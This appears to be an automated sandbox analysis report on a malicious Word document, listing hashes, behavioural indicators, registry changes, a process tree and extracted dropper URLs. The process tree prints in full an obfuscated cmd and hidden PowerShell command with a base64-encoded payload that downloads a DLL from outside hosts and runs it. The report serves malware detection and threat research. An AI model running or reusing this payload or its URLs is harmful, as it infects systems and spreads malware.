5eb02656c9d0f774760331a9af55e93a774b09ceaf654a1f199ab800c8a00c50

General

Target

ARC_H535.doc
Size

167KB
MD5

265eac00afa62c7e92da8988d51ae7da
SHA1

2d341415c447553e9deb2a594b0ec988293c8313
SHA256

5eb02656c9d0f774760331a9af55e93a774b09ceaf654a1f199ab800c8a00c50
SHA512

96725f1869b1b2643a319211401cb5fca9b27af39bc22bc81d5b578482c0dc42376e974f36da8d1399e347cb83e8c7329453ce889ea4e12f8fecf08a49d09ed1

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://transfersuvan.com/wp-admin/yhUw0GU/

exe.dropper

http://equipamentosmix.com/1/TRM/

exe.dropper

http://vedavacademy.com/wp-admin/7BHbH/

exe.dropper

http://lezz-etci.com/wp-content/mXxP/

exe.dropper

https://lapiramideopticas.com/tesla-powerwall-ok3h2/kmJ/

exe.dropper

http://aryasamajmandirkanpur.com/cgi-bin/VcJK/

exe.dropper

http://music.mnahid.com/wp-admin/kCGrt8/

Signatures

Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1376 1704 cmd.exe
Blocklisted process makes network request 2 IoCs

Processes:

powershell.exerundll32.exe

flow pid process

7 316 powershell.exe
9 1352 rundll32.exe
Loads dropped DLL 4 IoCs

Processes:

rundll32.exe

pid process

1252 rundll32.exe
1252 rundll32.exe
1252 rundll32.exe
1252 rundll32.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1376	1704	cmd.exe

flow	pid	process
7	316	powershell.exe
9	1352	rundll32.exe

pid	process
1252	rundll32.exe
1252	rundll32.exe
1252	rundll32.exe
1252	rundll32.exe

Drops file in System32 directory 2 IoCs

Processes:

powershell.exerundll32.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\Khmkzpqzxngb\irykisgcgtd.wkh	rundll32.exe

Drops file in Windows directory 1 IoCs

Processes:

WINWORD.EXE

description ioc process

File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE
Office loads VBA resources, possible macro or embedded object present

description	ioc	process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

Modifies Internet Explorer settings 1 TTPs 9 IoCs

adware spyware

Modify Registry

T1112

Processes:

WINWORD.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Toolbar	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

WINWORD.EXE

pid process

1204 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exerundll32.exe

pid process

316 powershell.exe
316 powershell.exe
1352 rundll32.exe
1352 rundll32.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 316 powershell.exe
Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

WINWORD.EXE

pid process

1204 WINWORD.EXE
1204 WINWORD.EXE

pid	process
1204	WINWORD.EXE

pid	process
316	powershell.exe
316	powershell.exe
1352	rundll32.exe
1352	rundll32.exe

description	pid	process
Token: SeDebugPrivilege	316	powershell.exe

pid	process
1204	WINWORD.EXE
1204	WINWORD.EXE

Suspicious use of WriteProcessMemory 23 IoCs

Processes:

cmd.exepowershell.exerundll32.exerundll32.exe

description	pid	process	target process
PID 1376 wrote to memory of 1508	1376	cmd.exe	msg.exe
PID 1376 wrote to memory of 1508	1376	cmd.exe	msg.exe
PID 1376 wrote to memory of 1508	1376	cmd.exe	msg.exe
PID 1376 wrote to memory of 316	1376	cmd.exe	powershell.exe
PID 1376 wrote to memory of 316	1376	cmd.exe	powershell.exe
PID 1376 wrote to memory of 316	1376	cmd.exe	powershell.exe
PID 316 wrote to memory of 1928	316	powershell.exe	rundll32.exe
PID 316 wrote to memory of 1928	316	powershell.exe	rundll32.exe
PID 316 wrote to memory of 1928	316	powershell.exe	rundll32.exe
PID 1928 wrote to memory of 1252	1928	rundll32.exe	rundll32.exe
PID 1928 wrote to memory of 1252	1928	rundll32.exe	rundll32.exe
PID 1928 wrote to memory of 1252	1928	rundll32.exe	rundll32.exe
PID 1928 wrote to memory of 1252	1928	rundll32.exe	rundll32.exe
PID 1928 wrote to memory of 1252	1928	rundll32.exe	rundll32.exe
PID 1928 wrote to memory of 1252	1928	rundll32.exe	rundll32.exe
PID 1928 wrote to memory of 1252	1928	rundll32.exe	rundll32.exe
PID 1252 wrote to memory of 1352	1252	rundll32.exe	rundll32.exe
PID 1252 wrote to memory of 1352	1252	rundll32.exe	rundll32.exe
PID 1252 wrote to memory of 1352	1252	rundll32.exe	rundll32.exe
PID 1252 wrote to memory of 1352	1252	rundll32.exe	rundll32.exe
PID 1252 wrote to memory of 1352	1252	rundll32.exe	rundll32.exe
PID 1252 wrote to memory of 1352	1252	rundll32.exe	rundll32.exe
PID 1252 wrote to memory of 1352	1252	rundll32.exe	rundll32.exe

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\ARC_H535.doc"
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:1204

C:\Windows\system32\cmd.exe
cmd cmd /c m^s^g %username% /v Wo^rd exp^erien^ced an er^ror tryi^ng to op^en th^e fi^le. & p^owe^rs^he^ll^ -w hi^dd^en -^e^nc IAAgAHMAZQB0ACAAIAA5AFoAagAxAEkAeAAgACAAKAAgACAAWwBUAFkAUABFAF0AKAAiAHsANAB9AHsAMgB9AHsAMAB9AHsAMQB9AHsAMwB9ACIALQBmACAAJwBpAFIARQBjACcALAAnAHQAJwAsACcAZAAnACwAJwBvAHIAeQAnACwAJwBzAHkAUwBUAGUAbQAuAEkAbwAuACcAKQApACAAOwAgACAAIAAgAFMARQB0AC0AaQBUAGUAbQAgACAAVgBBAFIASQBhAEIATABlADoANgBoAHcAIAAoAFsAVAB5AFAARQBdACgAIgB7ADgAfQB7ADUAfQB7ADAAfQB7ADEAfQB7ADQAfQB7ADYAfQB7ADcAfQB7ADIAfQB7ADMAfQAiACAALQBGACcAZQBNAC4AbgBlAHQALgBzACcALAAnAGUAcgBWACcALAAnAGkATgB0AE0AYQBuAGEARwAnACwAJwBFAFIAJwAsACcASQAnACwAJwB0ACcALAAnAEMAZQAnACwAJwBwAE8AJwAsACcAcwB5AFMAJwApACAAKQAgACAAOwAkAEsAdgBpAGQAegBvADEAPQAkAFAAMQA1AEwAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAFUAXwAzAEYAOwAkAEQANAA2AEQAPQAoACcAVwAnACsAKAAnAF8AOAAnACsAJwBRACcAKQApADsAIAAoACAAZwBFAFQALQBWAEEAUgBJAGEAQgBMAEUAIAAgADkAWgBKADEAaQBYACAALQBWAGEATABVAGUAbwBuAEwAWQApADoAOgAiAEMAUgBlAEEAVABgAGUARABJAHIAZQBgAEMAdABvAGAAUgB5ACIAKAAkAEgATwBNAEUAIAArACAAKAAoACgAJwBjAEYAJwArACcAbQAnACkAKwAnAEUAJwArACgAJwBjACcAKwAnAHIAcgAnACkAKwAoACcAZwBzACcAKwAnAG0AYwAnACkAKwAoACcARgBtACcAKwAnAEQAeQAnACkAKwAnAHkAJwArACgAJwAzADcAJwArACcAMwBkAGMAJwApACsAJwBGAG0AJwApAC4AIgByAGAAZQBgAHAAbABhAEMAZQAiACgAKAAnAGMAJwArACcARgBtACcAKQAsAFsAUwB0AFIAaQBOAEcAXQBbAEMASABhAHIAXQA5ADIAKQApACkAOwAkAE0AMwBfAFQAPQAoACgAJwBYACcAKwAnADYAMgAnACkAKwAnAEcAJwApADsAIAAoAGcAZQB0AC0AdgBhAFIAaQBhAEIATABlACAAIAA2AGgAdwAgACAALQBWAEEATAApADoAOgAiAFMAYABlAGAAYwB1AGAAUgBgAEkAdAB5AFAAcgBvAHQAbwBjAG8ATAAiACAAPQAgACgAJwBUAGwAJwArACgAJwBzACcAKwAnADEAMgAnACkAKQA7ACQARgA4ADYAVAA9ACgAKAAnAFIAXwAnACsAJwAzACcAKQArACcARgAnACkAOwAkAEYAMAAzAHYANQA4AHQAIAA9ACAAKAAnAEQAJwArACgAJwAzADQAJwArACcAQQAnACkAKQA7ACQAQgA1AF8AVwA9ACgAJwBVACcAKwAoACcAMwAnACsAJwAyAEgAJwApACkAOwAkAEcAegBiADQANwA5ADEAPQAkAEgATwBNAEUAKwAoACgAKAAnAEQAZQAnACsAJwBYACcAKQArACcARQBjACcAKwAoACcAcgByAGcAcwAnACsAJwBtACcAKQArACgAJwBEAGUAJwArACcAWABEAHkAeQAzACcAKQArACcANwAnACsAKAAnADMAJwArACcAZABEACcAKQArACcAZQBYACcAKQAuACIAUgBFAGAAcABsAEEAYABDAGUAIgAoACgAWwBDAEgAQQBSAF0ANgA4ACsAWwBDAEgAQQBSAF0AMQAwADEAKwBbAEMASABBAFIAXQA4ADgAKQAsAFsAUwB0AFIASQBOAEcAXQBbAEMASABBAFIAXQA5ADIAKQApACsAJABGADAAMwB2ADUAOAB0ACsAKAAnAC4AZAAnACsAJwBsAGwAJwApADsAJABKADEAOABVAD0AKAAnAEkAJwArACgAJwA5AF8AJwArACcATAAnACkAKQA7ACQATABrAGgAeABvADkAbwA9ACgAJwBBACcAKwAnAF0AJwArACgAJwBbAHEAWwAnACsAJwBEADoALwAvAHQAcgAnACkAKwAnAGEAJwArACcAbgBzACcAKwAoACcAZgAnACsAJwBlAHIAcwB1AHYAJwArACcAYQAnACkAKwAnAG4ALgAnACsAJwBjACcAKwAoACcAbwBtACcAKwAnAC8AJwApACsAJwB3AHAAJwArACgAJwAtAGEAJwArACcAZABtACcAKQArACgAJwBpAG4ALwB5AGgAVQAnACsAJwB3ADAAJwArACcARwBVACcAKQArACcALwBAACcAKwAoACcAQQBdAFsAJwArACcAcQBbAEQAJwArACcAOgAvAC8AZQAnACsAJwBxAHUAaQAnACsAJwBwACcAKwAnAGEAbQBlAG4AdAAnACkAKwAoACcAbwBzACcAKwAnAG0AJwArACcAaQB4AC4AYwAnACkAKwAnAG8AJwArACgAJwBtAC8AMQAnACsAJwAvAFQAJwArACcAUgBNACcAKQArACcALwBAACcAKwAnAEEAJwArACcAXQAnACsAJwBbACcAKwAoACcAcQBbACcAKwAnAEQAOgAvACcAKQArACgAJwAvACcAKwAnAHYAZQAnACkAKwAoACcAZAAnACsAJwBhAHYAYQBjACcAKQArACgAJwBhAGQAJwArACcAZQBtAHkALgAnACkAKwAoACcAYwAnACsAJwBvAG0AJwApACsAKAAnAC8AdwAnACsAJwBwAC0AYQAnACsAJwBkACcAKQArACcAbQAnACsAKAAnAGkAbgAvADcAQgAnACsAJwBIAGIASAAvACcAKwAnAEAAJwApACsAKAAnAEEAXQBbACcAKwAnAHEAJwApACsAJwBbACcAKwAoACcARAA6ACcAKwAnAC8AJwApACsAKAAnAC8AbAAnACsAJwBlACcAKQArACgAJwB6ACcAKwAnAHoALQAnACkAKwAoACcAZQB0AGMAaQAnACsAJwAuAGMAJwApACsAKAAnAG8AJwArACcAbQAvAHcAcAAtAGMAbwAnACkAKwAnAG4AdAAnACsAKAAnAGUAJwArACcAbgB0ACcAKQArACgAJwAvAG0AWAAnACsAJwB4ACcAKQArACgAJwBQACcAKwAnAC8AQABBACcAKQArACgAJwBdAFsAJwArACcAcQAnACkAKwAnAFsARAAnACsAJwBzACcAKwAoACcAOgAvAC8AbABhAHAAJwArACcAaQAnACkAKwAnAHIAJwArACcAYQBtACcAKwAnAGkAZAAnACsAJwBlAG8AJwArACcAcAAnACsAJwB0ACcAKwAoACcAaQBjACcAKwAnAGEAJwApACsAJwBzAC4AJwArACgAJwBjAG8AJwArACcAbQAnACkAKwAnAC8AJwArACcAdABlACcAKwAoACcAcwAnACsAJwBsAGEAJwApACsAKAAnAC0AJwArACcAcABvACcAKQArACgAJwB3ACcAKwAnAGUAJwArACcAcgB3ACcAKwAnAGEAbABsAC0AbwBrADMAJwApACsAKAAnAGgAMgAnACsAJwAvACcAKQArACcAawBtACcAKwAnAEoALwAnACsAJwBAACcAKwAoACcAQQBdAFsAcQAnACsAJwBbACcAKQArACcARAAnACsAKAAnADoALwAnACsAJwAvACcAKQArACcAYQAnACsAJwByACcAKwAoACcAeQAnACsAJwBhAHMAJwApACsAJwBhACcAKwAnAG0AYQAnACsAKAAnAGoAbQBhAG4AZABpAHIAawAnACsAJwBhAG4AcAAnACsAJwB1AHIALgBjACcAKQArACgAJwBvAG0AJwArACcALwAnACkAKwAoACcAYwBnACcAKwAnAGkAJwArACcALQBiAGkAbgAvAFYAYwBKACcAKQArACcASwAnACsAJwAvAEAAJwArACgAJwBBAF0AJwArACcAWwAnACkAKwAnAHEAJwArACcAWwBEACcAKwAoACcAOgAvAC8AJwArACcAbQAnACkAKwAnAHUAJwArACcAcwAnACsAJwBpAGMAJwArACgAJwAuAG0AJwArACcAbgBhACcAKQArACcAaABpACcAKwAnAGQALgAnACsAKAAnAGMAJwArACcAbwBtAC8AdwAnACsAJwBwACcAKQArACgAJwAtAGEAZAAnACsAJwBtAGkAbgAnACsAJwAvAGsAQwAnACkAKwAnAEcAJwArACgAJwByAHQAOAAnACsAJwAvACcAKQApAC4AIgByAGUAUABMAGAAQQBjAEUAIgAoACgAKAAnAEEAJwArACcAXQBbACcAKQArACgAJwBxACcAKwAnAFsARAAnACkAKQAsACgAWwBhAHIAcgBhAHkAXQAoACgAJwBkAHMAJwArACgAJwBlACcAKwAnAHcAZgAnACkAKQAsACgAKAAnAHcAJwArACcAZQB2ACcAKQArACcAdwBlACcAKQApACwAKAAoACcAYQBlACcAKwAnAGYAJwApACsAJwBmACcAKQAsACgAJwBoACcAKwAoACcAdAB0ACcAKwAnAHAAJwApACkAKQBbADIAXQApAC4AIgBTAGAAUABsAGkAdAAiACgAJABOADkAOQBRACAAKwAgACQASwB2AGkAZAB6AG8AMQAgACsAIAAkAFcAOAA1AEcAKQA7ACQARwBfAF8ASwA9ACgAJwBOADYAJwArACcANABMACcAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQARAAyAGkAdQA2ADIAagAgAGkAbgAgACQATABrAGgAeABvADkAbwApAHsAdAByAHkAewAoACYAKAAnAE4AJwArACcAZQB3AC0ATwBiAGoAZQBjACcAKwAnAHQAJwApACAAUwBZAFMAVABFAE0ALgBOAGUAVAAuAFcAZQBiAEMATABJAGUATgB0ACkALgAiAEQATwBXAE4AYABsAG8AYABBAGQARgBJAGAAbABlACIAKAAkAEQAMgBpAHUANgAyAGoALAAgACQARwB6AGIANAA3ADkAMQApADsAJABBADYAMwBTAD0AKAAnAFAAJwArACgAJwA0ADYAJwArACcAWgAnACkAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAJwArACcAdAAtAEkAJwArACcAdABlAG0AJwApACAAJABHAHoAYgA0ADcAOQAxACkALgAiAEwAZQBOAEcAYABUAEgAIgAgAC0AZwBlACAAMwAxADAANAAxACkAIAB7ACYAKAAnAHIAdQBuAGQAbAAnACsAJwBsADMAMgAnACkAIAAkAEcAegBiADQANwA5ADEALAAoACcAUwAnACsAKAAnAGgAbwB3ACcAKwAnAEQAaQAnACkAKwAoACcAYQAnACsAJwBsAG8AZwBBACcAKQApAC4AIgBUAE8AcwBUAGAAUgBgAGkATgBHACIAKAApADsAJABHADAAMgBWAD0AKAAnAFAAJwArACgAJwA1ADgAJwArACcAWAAnACkAKQA7AGIAcgBlAGEAawA7ACQAVAAwADcAVQA9ACgAJwBCADQAJwArACcAMwBUACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQATQA2ADYAWAA9ACgAKAAnAFEAMQAnACsAJwA1ACcAKQArACcATwAnACkA
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1376

C:\Windows\system32\msg.exe
msg Admin /v Word experienced an error trying to open the file.
2⤵
PID:1508

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -w hidden -enc IAAgAHMAZQB0ACAAIAA5AFoAagAxAEkAeAAgACAAKAAgACAAWwBUAFkAUABFAF0AKAAiAHsANAB9AHsAMgB9AHsAMAB9AHsAMQB9AHsAMwB9ACIALQBmACAAJwBpAFIARQBjACcALAAnAHQAJwAsACcAZAAnACwAJwBvAHIAeQAnACwAJwBzAHkAUwBUAGUAbQAuAEkAbwAuACcAKQApACAAOwAgACAAIAAgAFMARQB0AC0AaQBUAGUAbQAgACAAVgBBAFIASQBhAEIATABlADoANgBoAHcAIAAoAFsAVAB5AFAARQBdACgAIgB7ADgAfQB7ADUAfQB7ADAAfQB7ADEAfQB7ADQAfQB7ADYAfQB7ADcAfQB7ADIAfQB7ADMAfQAiACAALQBGACcAZQBNAC4AbgBlAHQALgBzACcALAAnAGUAcgBWACcALAAnAGkATgB0AE0AYQBuAGEARwAnACwAJwBFAFIAJwAsACcASQAnACwAJwB0ACcALAAnAEMAZQAnACwAJwBwAE8AJwAsACcAcwB5AFMAJwApACAAKQAgACAAOwAkAEsAdgBpAGQAegBvADEAPQAkAFAAMQA1AEwAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAFUAXwAzAEYAOwAkAEQANAA2AEQAPQAoACcAVwAnACsAKAAnAF8AOAAnACsAJwBRACcAKQApADsAIAAoACAAZwBFAFQALQBWAEEAUgBJAGEAQgBMAEUAIAAgADkAWgBKADEAaQBYACAALQBWAGEATABVAGUAbwBuAEwAWQApADoAOgAiAEMAUgBlAEEAVABgAGUARABJAHIAZQBgAEMAdABvAGAAUgB5ACIAKAAkAEgATwBNAEUAIAArACAAKAAoACgAJwBjAEYAJwArACcAbQAnACkAKwAnAEUAJwArACgAJwBjACcAKwAnAHIAcgAnACkAKwAoACcAZwBzACcAKwAnAG0AYwAnACkAKwAoACcARgBtACcAKwAnAEQAeQAnACkAKwAnAHkAJwArACgAJwAzADcAJwArACcAMwBkAGMAJwApACsAJwBGAG0AJwApAC4AIgByAGAAZQBgAHAAbABhAEMAZQAiACgAKAAnAGMAJwArACcARgBtACcAKQAsAFsAUwB0AFIAaQBOAEcAXQBbAEMASABhAHIAXQA5ADIAKQApACkAOwAkAE0AMwBfAFQAPQAoACgAJwBYACcAKwAnADYAMgAnACkAKwAnAEcAJwApADsAIAAoAGcAZQB0AC0AdgBhAFIAaQBhAEIATABlACAAIAA2AGgAdwAgACAALQBWAEEATAApADoAOgAiAFMAYABlAGAAYwB1AGAAUgBgAEkAdAB5AFAAcgBvAHQAbwBjAG8ATAAiACAAPQAgACgAJwBUAGwAJwArACgAJwBzACcAKwAnADEAMgAnACkAKQA7ACQARgA4ADYAVAA9ACgAKAAnAFIAXwAnACsAJwAzACcAKQArACcARgAnACkAOwAkAEYAMAAzAHYANQA4AHQAIAA9ACAAKAAnAEQAJwArACgAJwAzADQAJwArACcAQQAnACkAKQA7ACQAQgA1AF8AVwA9ACgAJwBVACcAKwAoACcAMwAnACsAJwAyAEgAJwApACkAOwAkAEcAegBiADQANwA5ADEAPQAkAEgATwBNAEUAKwAoACgAKAAnAEQAZQAnACsAJwBYACcAKQArACcARQBjACcAKwAoACcAcgByAGcAcwAnACsAJwBtACcAKQArACgAJwBEAGUAJwArACcAWABEAHkAeQAzACcAKQArACcANwAnACsAKAAnADMAJwArACcAZABEACcAKQArACcAZQBYACcAKQAuACIAUgBFAGAAcABsAEEAYABDAGUAIgAoACgAWwBDAEgAQQBSAF0ANgA4ACsAWwBDAEgAQQBSAF0AMQAwADEAKwBbAEMASABBAFIAXQA4ADgAKQAsAFsAUwB0AFIASQBOAEcAXQBbAEMASABBAFIAXQA5ADIAKQApACsAJABGADAAMwB2ADUAOAB0ACsAKAAnAC4AZAAnACsAJwBsAGwAJwApADsAJABKADEAOABVAD0AKAAnAEkAJwArACgAJwA5AF8AJwArACcATAAnACkAKQA7ACQATABrAGgAeABvADkAbwA9ACgAJwBBACcAKwAnAF0AJwArACgAJwBbAHEAWwAnACsAJwBEADoALwAvAHQAcgAnACkAKwAnAGEAJwArACcAbgBzACcAKwAoACcAZgAnACsAJwBlAHIAcwB1AHYAJwArACcAYQAnACkAKwAnAG4ALgAnACsAJwBjACcAKwAoACcAbwBtACcAKwAnAC8AJwApACsAJwB3AHAAJwArACgAJwAtAGEAJwArACcAZABtACcAKQArACgAJwBpAG4ALwB5AGgAVQAnACsAJwB3ADAAJwArACcARwBVACcAKQArACcALwBAACcAKwAoACcAQQBdAFsAJwArACcAcQBbAEQAJwArACcAOgAvAC8AZQAnACsAJwBxAHUAaQAnACsAJwBwACcAKwAnAGEAbQBlAG4AdAAnACkAKwAoACcAbwBzACcAKwAnAG0AJwArACcAaQB4AC4AYwAnACkAKwAnAG8AJwArACgAJwBtAC8AMQAnACsAJwAvAFQAJwArACcAUgBNACcAKQArACcALwBAACcAKwAnAEEAJwArACcAXQAnACsAJwBbACcAKwAoACcAcQBbACcAKwAnAEQAOgAvACcAKQArACgAJwAvACcAKwAnAHYAZQAnACkAKwAoACcAZAAnACsAJwBhAHYAYQBjACcAKQArACgAJwBhAGQAJwArACcAZQBtAHkALgAnACkAKwAoACcAYwAnACsAJwBvAG0AJwApACsAKAAnAC8AdwAnACsAJwBwAC0AYQAnACsAJwBkACcAKQArACcAbQAnACsAKAAnAGkAbgAvADcAQgAnACsAJwBIAGIASAAvACcAKwAnAEAAJwApACsAKAAnAEEAXQBbACcAKwAnAHEAJwApACsAJwBbACcAKwAoACcARAA6ACcAKwAnAC8AJwApACsAKAAnAC8AbAAnACsAJwBlACcAKQArACgAJwB6ACcAKwAnAHoALQAnACkAKwAoACcAZQB0AGMAaQAnACsAJwAuAGMAJwApACsAKAAnAG8AJwArACcAbQAvAHcAcAAtAGMAbwAnACkAKwAnAG4AdAAnACsAKAAnAGUAJwArACcAbgB0ACcAKQArACgAJwAvAG0AWAAnACsAJwB4ACcAKQArACgAJwBQACcAKwAnAC8AQABBACcAKQArACgAJwBdAFsAJwArACcAcQAnACkAKwAnAFsARAAnACsAJwBzACcAKwAoACcAOgAvAC8AbABhAHAAJwArACcAaQAnACkAKwAnAHIAJwArACcAYQBtACcAKwAnAGkAZAAnACsAJwBlAG8AJwArACcAcAAnACsAJwB0ACcAKwAoACcAaQBjACcAKwAnAGEAJwApACsAJwBzAC4AJwArACgAJwBjAG8AJwArACcAbQAnACkAKwAnAC8AJwArACcAdABlACcAKwAoACcAcwAnACsAJwBsAGEAJwApACsAKAAnAC0AJwArACcAcABvACcAKQArACgAJwB3ACcAKwAnAGUAJwArACcAcgB3ACcAKwAnAGEAbABsAC0AbwBrADMAJwApACsAKAAnAGgAMgAnACsAJwAvACcAKQArACcAawBtACcAKwAnAEoALwAnACsAJwBAACcAKwAoACcAQQBdAFsAcQAnACsAJwBbACcAKQArACcARAAnACsAKAAnADoALwAnACsAJwAvACcAKQArACcAYQAnACsAJwByACcAKwAoACcAeQAnACsAJwBhAHMAJwApACsAJwBhACcAKwAnAG0AYQAnACsAKAAnAGoAbQBhAG4AZABpAHIAawAnACsAJwBhAG4AcAAnACsAJwB1AHIALgBjACcAKQArACgAJwBvAG0AJwArACcALwAnACkAKwAoACcAYwBnACcAKwAnAGkAJwArACcALQBiAGkAbgAvAFYAYwBKACcAKQArACcASwAnACsAJwAvAEAAJwArACgAJwBBAF0AJwArACcAWwAnACkAKwAnAHEAJwArACcAWwBEACcAKwAoACcAOgAvAC8AJwArACcAbQAnACkAKwAnAHUAJwArACcAcwAnACsAJwBpAGMAJwArACgAJwAuAG0AJwArACcAbgBhACcAKQArACcAaABpACcAKwAnAGQALgAnACsAKAAnAGMAJwArACcAbwBtAC8AdwAnACsAJwBwACcAKQArACgAJwAtAGEAZAAnACsAJwBtAGkAbgAnACsAJwAvAGsAQwAnACkAKwAnAEcAJwArACgAJwByAHQAOAAnACsAJwAvACcAKQApAC4AIgByAGUAUABMAGAAQQBjAEUAIgAoACgAKAAnAEEAJwArACcAXQBbACcAKQArACgAJwBxACcAKwAnAFsARAAnACkAKQAsACgAWwBhAHIAcgBhAHkAXQAoACgAJwBkAHMAJwArACgAJwBlACcAKwAnAHcAZgAnACkAKQAsACgAKAAnAHcAJwArACcAZQB2ACcAKQArACcAdwBlACcAKQApACwAKAAoACcAYQBlACcAKwAnAGYAJwApACsAJwBmACcAKQAsACgAJwBoACcAKwAoACcAdAB0ACcAKwAnAHAAJwApACkAKQBbADIAXQApAC4AIgBTAGAAUABsAGkAdAAiACgAJABOADkAOQBRACAAKwAgACQASwB2AGkAZAB6AG8AMQAgACsAIAAkAFcAOAA1AEcAKQA7ACQARwBfAF8ASwA9ACgAJwBOADYAJwArACcANABMACcAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQARAAyAGkAdQA2ADIAagAgAGkAbgAgACQATABrAGgAeABvADkAbwApAHsAdAByAHkAewAoACYAKAAnAE4AJwArACcAZQB3AC0ATwBiAGoAZQBjACcAKwAnAHQAJwApACAAUwBZAFMAVABFAE0ALgBOAGUAVAAuAFcAZQBiAEMATABJAGUATgB0ACkALgAiAEQATwBXAE4AYABsAG8AYABBAGQARgBJAGAAbABlACIAKAAkAEQAMgBpAHUANgAyAGoALAAgACQARwB6AGIANAA3ADkAMQApADsAJABBADYAMwBTAD0AKAAnAFAAJwArACgAJwA0ADYAJwArACcAWgAnACkAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAJwArACcAdAAtAEkAJwArACcAdABlAG0AJwApACAAJABHAHoAYgA0ADcAOQAxACkALgAiAEwAZQBOAEcAYABUAEgAIgAgAC0AZwBlACAAMwAxADAANAAxACkAIAB7ACYAKAAnAHIAdQBuAGQAbAAnACsAJwBsADMAMgAnACkAIAAkAEcAegBiADQANwA5ADEALAAoACcAUwAnACsAKAAnAGgAbwB3ACcAKwAnAEQAaQAnACkAKwAoACcAYQAnACsAJwBsAG8AZwBBACcAKQApAC4AIgBUAE8AcwBUAGAAUgBgAGkATgBHACIAKAApADsAJABHADAAMgBWAD0AKAAnAFAAJwArACgAJwA1ADgAJwArACcAWAAnACkAKQA7AGIAcgBlAGEAawA7ACQAVAAwADcAVQA9ACgAJwBCADQAJwArACcAMwBUACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQATQA2ADYAWAA9ACgAKAAnAFEAMQAnACsAJwA1ACcAKQArACcATwAnACkA
2⤵
- Blocklisted process makes network request
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:316

C:\Windows\system32\rundll32.exe
"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Ecrrgsm\Dyy373d\D34A.dll ShowDialogA
3⤵
- Suspicious use of WriteProcessMemory
PID:1928

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Ecrrgsm\Dyy373d\D34A.dll ShowDialogA
4⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:1252

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Khmkzpqzxngb\irykisgcgtd.wkh",ShowDialogA
5⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:1352

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\Ecrrgsm\Dyy373d\D34A.dll
MD5
860165c44027c5363bb61787189a5bd0

SHA1
9e10cfbea1a748dd1dd11d0d59728d98f1798775

SHA256
